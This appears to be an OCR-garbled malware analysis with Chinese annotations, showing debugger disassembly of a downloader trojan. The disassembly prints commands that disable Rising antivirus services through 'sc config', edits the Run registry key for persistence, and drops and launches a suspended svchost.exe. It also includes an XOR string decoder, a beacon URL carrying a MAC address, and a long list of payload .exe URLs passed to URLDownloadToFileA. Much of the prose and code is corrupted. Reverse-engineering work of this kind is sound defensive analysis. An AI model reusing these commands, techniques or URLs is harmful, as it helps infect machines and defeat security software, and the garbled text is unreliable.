jmp short killdll.1000429F
mov esi,dword ptr ss:[esp+2C]

mov ebx,dword ptr ds:[<&ADVAPI32.CloseServic>;

; AsyncMac

test esi,esi
je short killdll.100042BA

lea ecx,dword ptr ss:[esp+C]
push ecx

push 1

push esi

call dword ptr ds:[ <&ADVAPI32.ControlService>; advapi32.ControlService
push esi

call ebx

push edi

call ebx

pop esi

pop ebx

pop edi

add esp,1C

retn

add esp,8

lea edx,dword ptr ss:[esp+4]

push edx

call dword ptr ds:[<&KERNEL32.DeleteFileA>] ; kernel32.DeleteFileA

call killdll.10004D60
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10004FA5
10004FAB
10004FAD

8B35 54040010
6A 00
68 640D0010

start= disabled

mov esi,dword ptr ds:[ <&KERNEL32.WinExec>]
push 0
push killdIll.10000D64

; kernel32.WinExec

; cmd /c sc config RavTask



10004FB2 FFD6 call esi

10004FB4 8B3D 50040010 mov edi,dword ptr ds:[ <&KERNEL32.Sleep>] ; kernel32.Sleep
10004FBA 68 C8000000 push 0C8

10004FBF FFD7 call edi ; kernel32.Sleep

10004FC1 6A 00 push 0

10004FC3 68 380D0010 push killdll.10000D38 ; cmd /c sc config
RsScanSrv start= disabled

10004FC8 FFD6 call esi

10004FCA 68 C8000000 push 0C8

10004FCF FFD7 call edi

10004FD1 6A 00 push 0

10004FD3 68 0COD0010 push killdll.10000D0C ; cmd /c sc config RavTray
start= disabled

10004FD8 FFD6 call esi

10004FDA 68 C8000000 push 0C8

10004FDF FFD7 call edi

10004FE1 6A 00 push 0

10004FE3 68 E00C0010 push killdll.10000CEO ; cmd /c sc config RsRavMon
start= disabled

10004FE8 FFD6 call esi

10004FEA 68 C8000000 push 0C8

10004FEF FFD7 call edi

10004FF1 6A 00 push 0

10004FF3 68 B40C0010 push killdll.10000CB4 ; cmd /c sc config

RavCCenter start= disabled

10004FF8

FFD6

call esi

)M 52 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [ i) i N 4%, 15 45 5 83

10004F20
10004F21

51

68 840C0010

push ecx
push killdll.10000C84

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

10004F26 68 02000080 push 80000002

10004F2B FF15 3C040010 call dword ptr ds:[ <&ADVAPI32.RegDeleteKeyA>>; advapi32.RegDeleteKeyA
10004F31 8D4424 00 lea eax,dword ptr ss:[esp]

10004F35 50 push eax

10004F36 68 840C0010 push killdll.10000C84 ;

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

10004F3B 68 02000080 push 80000002

10004F40 FF15 18040010 call dword ptr ds:[ <&ADVAPI32.RegCreateKeyA>>; advapi32.RegCreateKeyA
10004F46 8B4C24 00 mov ecx,dword ptr ss:[esp]

10004F4A 51 push ecx

10004F4B FF15 20040010 call dword ptr ds:[ <&ADVAPI32.RegCloseKey>] ; advapi32.RegCloseKey
10004F51 59 pop ecx

10004F52 C3 retn

i FAEAE, W LB Ltk o+ Hn A2 1 B AT
N TH R4 HT ~Frm.exe SO ERAE

—. W EE AT updater.exe ¥k H 3



00401D80 |. 50 push eax ; /pHandle

00401D81 |. 68 50134000 push ~Frm.00401350 ; |Subkey =
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

00401D86 |. 68 02000080 push 80000002 ; |hKey =
HKEY_LOCAL_MACHINE

00401D8B |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |

00401D8D |. FF15 08104000 call dword ptr ds:[<&ADVAPI32.RegCreateKeyA>>; \RegCreateKeyA
00401D93 |. 85C0 test eax,eax

00401D95 |. 7545 jnz short ~Frm.00401DDC

00401D97 |. 50 push eax ; [Style

00401D98 |. 68 98134000 push ~Frm.00401398 ; | Title = "cccec”
00401D9D |. 68 90134000 push ~Frm.00401390 ; | Text = "ggggg"
00401DA2 |. 6AFA push -6 ; |hOwner = FFFFFFFA
00401DA4 |. FFD3 call ebx ; \MessageBoxA

00401DA6 |. 8D7C24 68 lea edi,dword ptr ss:[esp+68]

00401DAA |. 83C9 FF or ecx,FFFFFFFF

00401DAD |. 33CO0 XOr eax,eax

00401DAF |. 8B5424 10 mov edx,dword ptr ss:[esp+10]

00401DB3 |. F2:AE repne scas byte ptr es:[edi]

00401DB5 |. F7D1 not ecx

00401DB7 |. 51 push ecx ; /BufSize

00401DB8 |. 8D4C24 6C lea ecx,dword ptr ss:[esp+6C] i

00401DBC |. 51 push ecx ; |Buffer

00401DBD |. 6A 01 push 1 ; |ValueType = REG_SZ
00401DBF |. 50 push eax ; |[Reserved => 0
00401DCO |. 68 48134000 push ~Frm.00401348 ; |ValueName =
"updater"

00401DC5 |. 52 push edx ; |hKey

00401DC6 |. FF15 00104000 call dword ptr ds:[ <&ADVAPI32.RegSetValueEXA>; \RegSetValueExA
00401DCC |. 6A 00 push 0 ; /Style =
MB_OK|MB_APPLMODAL

00401DCE |. 68 98134000 push ~Frm.00401398 ; | Title = "cccec”
00401DD3 |. 68 90134000 push ~Frm.00401390 ; | Text = "ggggg"
00401DD8 |. 6AFA push -6 ; |hOwner = FFFFFFFA
00401DDA |. FFD3 call ebx ; \MessageBoxA
00401DDC |> 8B4424 10 mov eax,dword ptr ss:[esp+10]

00401DEO |. 50 push eax ; /hKey

00401DE1 |. FF15 04104000 call dword ptr ds:[<&ADVAPI32.RegCloseKey>] ; \RegCloseKey

00401DE7 |> 68 38134000 push ~Frm.00401338 ; /AtomName =
"TTXOOBBAACCDD"

v AR SO AT tmp.tmp

00401E72
{

00401620
00401624
00401628
00401629
0040162A
0040162B
00401631
00401632

/
|
|
|
I
|
I
I

E8 ASF7FFFF

8B4C24 08
8B4424 0C

53

56

57

81E1 FFFFO000
50

51

call ~Frm.00401620

mov ecx,dword ptr ss:[esp+8]
mov eax,dword ptr ss:[esp+C]
push ebx

push esi

push edi

and ecx,0FFFF

push eax

push ecx

; /ResourceType
; |ResourceName



00401633
00401635
0040163B
0040163D
0040163F
00401641
00401642
00401644
0040164A
0040164C
0040164E
00401650
00401651
00401653
00401659
0040165B
0040165D
0040165F
00401663
00401665
00401667
00401669
0040166B
0040166D

6A 00
FF15 3C104000
8BFO
85F6
74 60
56
6A 00
FF15 78104000
8BD8
85DB
74 51
56
6A 00
FF15 7C104000
8BF8
85FF
74 42
8B5424 10
6A 00
6A 00
6A 02
6A 00
6A 00
68 00000040

GENERIC_WRITE

00401672
00401673
00401679
0040167B
0040167D
0040167F
00401680
00401681
00401682
00401683
00401687
00401689
0040168A
0040168B
0040168C
00401692
00401693
00401694
0040169A
00401698
004016A1
004016A2
004016A3
004016A6
004016A7

I
I
I
I
I
I
I
I
I
I
B
B
I
I
I
I
I
I
I
\

52
FF15 80104000
8BFO
85F6
75 04
5F
5E
5B
C3
8D4424 18
6A 00
50
53
57
FF15 84104000
50
56
FF15 88104000
56
FF15 90104000
5F
5E
83C8 FF
5B
C3

push 0 ; |hModule = NULL
call dword ptr ds:[ <&KERNEL32.FindResourceA>>; \FindResourceA
mov esi,eax

test esi,esi

je short ~Frm.004016A1

push esi ; /hResource

push 0 ; |hModule = NULL

call dword ptr ds:[ <&KERNEL32.SizeofResource>; \SizeofResource
mov ebx,eax
test ebx,ebx
je short ~Frm.004016A1
push esi ; /hResource
push 0 ; |hModule = NULL
call dword ptr ds:[<&KERNEL32.LoadResource>] ; \LoadResource
mov edi,eax
test edi,edi
je short ~Frm.004016A1
mov edx,dword ptr ss:[esp+10]

push 0 ; /hTemplateFile = NULL
push 0 ; |Attributes = 0
push 2 ; [IMode = Create_ ALWAYS
push 0 ; |pSecurity = NULL
push 0 ; |ShareMode = 0
push 40000000 ; |Access =

push edx ; |FileName

call dword ptr ds:[ <&KERNEL32.CreateFileA>] ; \CreateFileA

mov esi,eax

test esi,esi
jnz short ~Frm.00401683
pop edi

pop esi

pop ebx

retn

lea eax,dword ptr ss:[esp+18]
push 0 ; /pOverlapped = NULL
push eax ; |pBytesWritten

push ebx ; |[nBytesToWrite

push edi ; |/nHandles

call dword ptr ds:[ <&KERNEL32.LockResource>] ; |\SetHandleCount
push eax ; | Buffer
push esi ; |hFile

call dword ptr ds:[ <&KERNEL32.WriteFile>] ; \WriteFile

push esi ; /hObject

call dword ptr ds:[<&KERNEL32.CloseHandle>] ; \CloseHandle

pop edi

pop esi

or eax,FFFFFFFF

pop ebx

retn



=. H CreateFileMappingA &%k 1l 5.+ 44

00401E7A |. 68 18134000
"GameTexeTT.."

00401E7F |. 68 04010000
00401E84 |. 6A 00
00401E86 |. 6A 04
PAGE_READWRITE

00401E88 |. 6A 00
00401E8A |. 6AFF
00401E8C |. FF15 4C104000
00401E92 |. 6A 00
00401E94 |. 6A 00
00401E96 |. 6A 00
00401E98 |. 68 1FO00F00
00401E9D |. 50

00401E9E |. FF15 48104000

push ~Frm.00401318 ; /MapName =

push 104 ; |MaximumSizeLow = 104

push 0 ; |[MaximumSizeHigh = 0
push 4 ; |Protection =

push 0 ; |pSecurity = NULL

push -1 ; |hFile = FFFFFFFF

call dword ptr ds:[ <&KERNEL32.CreateFileMapp>; \CreateFileMappingA

push 0 ; [MapSize = 0

push 0 ; |OffsetLow = 0

push 0 ; |OffsetHigh = 0

push OFO01F ; |AccessMode = FOO1F
push eax ; |hMapObject

call dword ptr ds:[ <&KERNEL32.MapViewOfFile>>; \MapViewOfFile

PO, 8 tmp.tmp 3 A 2IUERE svchost.exe H R T

00401F13 |. BF 08134000
00401F18 |. 83C9 FF
00401F1B |. 33CO0
00401F1D |. 8D9424 6C020000
00401F24 |. F2:AE
00401F26 |. F7D1
00401F28 |. 2BF9
00401F2A |. 8BF7
00401F2C |. 8BES
00401F2E |. 8BFA
00401F30 |. 83C9 FF
00401F33 |. F2:AE
00401F35 |. 8BCD
00401F37 |. 4F
00401F38 |. C1E9 02
00401F3B |. F3:A5
00401F3D |. 8BCD
00401F3F |. 8D4424 14
00401F43 |. 83E103
00401F46 |. 50
00401F47 |. F3:A4
00401F49 |. 8D4C24 28
00401F4D |. 8D9424 70020000
00401F54 |. 51
00401F55 |. 6A 00
00401F57 |. 6A 00
00401F59 |. 6A 04
Create_SUSPENDED
00401F5B |. 6A 00
00401F5D |. 6A 00
00401F5F |. 6A 00

mov edi,~Frm.00401308 ;

or ecx,FFFFFFFF

XOr eax,eax
lea edx,dword ptr ss:[esp+26C]

repne scas byte ptr es:[edi]

not ecx

sub edi,ecx

mov esi,edi

mov ebp,ecx

mov edi,edx

or ecx,FFFFFFFF

repne scas byte ptr es:[edi]

mov ecx,ebp

dec edi

shr ecx,2

rep movs dword ptr es:[edi],dword ptr ds:[es>
mov ecx,ebp

lea eax,dword ptr ss:[esp+14]

ASCII "\svchost.exe"

and ecx,3

push eax ; /pProcesslInfo

rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |

lea ecx,dword ptr ss:[esp+28] i

lea edx,dword ptr ss:[esp+270] i

push ecx ; |pStartupInfo

push 0 ; |CurrentDir = NULL

push 0 ; |pEnvironment = NULL
push 4 ; |CreationFlags =

push 0 ; |InheritHandles = FALSE

push 0 ; |pThreadSecurity = NULL

push 0 ; |pProcessSecurity = NULL



00401F61 |. 68 F0284000 push ~Frm.004028F0 ; |CommandLine = ""
00401F66 |. 52 push edx ; |ModuleFileName
00401F67 |. FF15 40104000 call dword ptr ds:[ <&KERNEL32.CreateProcessA>; \CreateProcessA

tmp.tmp BUZHER FEAR D1, — ST

Fiv RS ik
00401BA1 |. BE 88114000 mov esi,~Frm.00401188
"kwws9,, " lvmw-hfz62;;-"In,g2,dfw-bps"

fifp s FEAN IR SEAR ], U R B (2250 13

00401BOF |. B8 03000000 mov eax,3

00401B14 |. 8B4D 0C mov ecx,dword ptr ss:[ebp+C]
00401B17 |> 3106 /xor dword ptr ds:[esi],eax
00401B19 |. 46 linc esi

00401B1A |.~E2FB \loopd short ~Frm.00401B17

fift 5, Wbl k. http://count.key5188.com/d1/get.asp
75~ AEAHIAE BRI B N bk

http://count.key5188.com/d1/get.asp??mac=00c029ae66df&ver=1.00

I J5& T tmp.tmp

; ASCII

BARJE 284 N tmp 2 FC FAE639E ) T HAT It nl FniE 24> PE SC1F, Suagoh.dil, R H OD BIRTEA

%3N T Upack 0.3.9 beta2s -> Dwing 5%, ] ESP & Bl A]

100013D0 55 push ebp //OEP
100013D1 8BEC mov ebp,esp

100013D3 8B45 0C mov eax,dword ptr ss:[ebp+C]
100013D6 53 push ebx

100013D7 56 push esi

100013D8 83F8 01 cmp eax, 1

100013DB 57 push edi

100013DC 75 2F jnz short tmp.1000140D
100013DE 60 pushad

100013DF 90 nop

100013E0 F5 cmc

114

—, AR, BEATHISCEE

100013E5 ? 6A 00 push 0

100013E7 . 6A 00 push 0

100013E9 . 6A 00 push 0

100013EB . 68 50140010 push tmp.10001450
tmp.10001450

100013F0O . 6A 00 push 0

100013F2 . 6A 00 push 0

100013F4 . FF15 00200010 call dword ptr ds:[10002000]

; |CreationFlags = 0
; |[pThreadParm = NULL
; |ThreadFunction =

; |StackSize = 0
; |pSecurity = NULL
; \CreateThread


http://count.key5188.com/d1/get.asp
http://count.key5188.com/d1/get.asp??mac=00c029ae66df&ver=1.00

H:rp ThreadFunction = tmp.10001450

L M

TEMhE N S N 14 M{IPjy@Z1nUjIlimNOP10iD{GLh35LgngrfZ3i@Rhwt3l
fif 2 oR AR L
i I () kbl MER ik http://g.s0g369.com/fz.txt, h1AN NS«
T HAZHRBNE N SCAEIET, sfh petools.tmp

10001691
10001697
10001698
1000169D
100016A3
100016A8
100016AA
100016B0
100016B6
100016B8
100016BE
100016C1
100016C3
100016C5
100016C7
100016C9
100016CB
100016CD
100016D3
100016D6
100016D8
100016DA
100016DC
100016DF
100016E1
100016E6
100016E9
100016EB
100016ED
100016EF
100016F1
100016F3
100016F5
100016F8
100016FA
100016FC
100016FD
10001700
10001702
10001704
10001707
10001709
1000170B
10001711
10001713

|> /8D95 C8FDFFFF
. |52
. |68 04010000

. |[FF15 1C200010

. |B9 41000000

. 133C0

. |8DBD CCFEFFFF
. |8D95 CCFEFFFF

. |[F3:AB

. |8DBD C8FDFFFF
. |83C9 FF

. |[F2:AE

. [F7D1

. |2BF9

. |8BC1

. |8BF7

. |S8BFA

. |8D95 C8FDFFFF
. |C1E9 02

. |[F3:A5

. |8BC8

. 133C0

. |83E1 03

. |F3:A4

. |BF 68300010

. 183C9 FF

. |[F2:AE

. |[F7D1

. |2BF9

. |8BF7

. |8BD9

. |8BFA

. |83C9 FF
. |[F2:AE

. |8BCB

. |4F

. |C1E9 02

. |[F3:A5

. |8BCB

. |83E1 03

. |F3:A4

> |6A 00

. |8D85 C8FDFFFF
. |6A 00

. |8D8D CAFSFFFF

/lea edx,dword ptr ss:[ebp-238]
|push edx
|push 104
|call dword ptr ds:[1000201C]
[mov ecx,41
|xor eax,eax
|lea edi,dword ptr ss:[ebp-134]
|lea edx,dword ptr ss:[ebp-134]
|rep stos dword ptr es:[edi]
|lea edi,dword ptr ss:[ebp-238]
|or ecx,FFFFFFFF
|repne scas byte ptr es:[edi]
[not ecx
|sub edi,ecx
|mov eax,ecx
|mov esi,edi
|mov edi,edx
|lea edx,dword ptr ss:[ebp-238]
|shr ecx,2
|rep movs dword ptr es:[edi],dword ptr ds:[e>
|[mov ecx,eax
|xor eax,eax
|and ecx,3
|rep movs byte ptr es:[edi],byte ptr ds:[esi>
|[mov edi,tmp.10003068
|or ecx, FFFFFFFF
|[repne scas byte ptr es:[edi]
[not ecx
|sub edi,ecx
|mov esi,edi
|mov ebx,ecx
|mov edi,edx
|or ecx, FFFFFFFF
|repne scas byte ptr es:[edi]
|mov ecx,ebx
|dec edi
|shr ecx,2
|rep movs dword ptr es:[edi],dword ptr ds:[e>
|[mov ecx,ebx
|and ecx,3
|rep movs byte ptr es:[edi],byte ptr ds:[esi>
|/push 0
||lea eax,dword ptr ss:[ebp-238]
[Ipush 0
||lea ecx,dword ptr ss:[ebp-73C]

; /Buffer

; |BufSize = 104 (260.)

; \GetTempPathA

; ASCII "pctools.tmp"


http://g.sog369.com/fz.txt

10001719 |[. |50

1000171A . |51

1000171B |. |6A 00

1000171D |. |FF15 C0300010
urlmon.URLDownloadToFileA
10001723 |. |85C0

10001725 |.~|75E2

http://u8.dtw360.com/sb/ko.exe
http://ul.dtw360.com/la/fm.exe
http://u2.dtw360.com/gb/Bl.exe
http://ul.dtw360.com/la/L1.exe
http://ul.dtw360.com/la/L3.exe
http://ul.dtw360.com/la/L4.exe
http://u2.dtw360.com/gz/G3.exe
http://u2.dtw360.com/gz/G10.exe
http://u2.dtw360.com/gz/G1l.exe
http://u2.dtw360.com/gz/G15.exe
http://u2.dtw360.com/gz/G4.exe
http://u2.dtw360.com/gz/G31.exe
http://u2.dtw360.com/gz/G32.exe
http://u2.dtw360.com/gz/G14.exe
http://u2.dtw360.com/gz/G9.exe
http://ul.dtw360.com/la/L17.exe
http://ul.dtw360.com/la/L6.exe
http://ul.dtw360.com/la/L9.exe
http://ul.dtw360.com/la/L8.exe
http://u3.dtw360.com/Im/S20.exe
http://u3.dtw360.com/Im/S8.exe
http://u3.dtw360.com/Im/S10.exe
http://u3.dtw360.com/Im/S1.exe
http://u3.dtw360.com/Im/S15.exe
http://u3.dtw360.com/Im/S2.exe
http://u3.dtw360.com/Im/S3.exe
http://u3.dtw360.com/Im/S5.exe
http://u3.dtw360.com/Im/S19.exe
http://u3.dtw360.com/Im/S14.exe
http://u3.dtw360.com/Im/S13.exe
http://u9.dtw360.com/cj/ab.exe
http://u9.dtw360.com/cj/a2.exe
http://u9.dtw360.com/cj/a8.exe
http://u9.dtw360.com/cj/al.exe
http://u9.dtw360.com/cj/al0.exe
http://u9.dtw360.com/cj/a9.exe
http://u8.dtw360.com/sb/sb.exe

[Ipush eax
| Ipush ecx
[Ipush O

[[call dword ptr ds:[100030C0]

| |[test eax,eax
[\jnz short tmp.10001709

JamE FEGZAIR AR, RGBT T



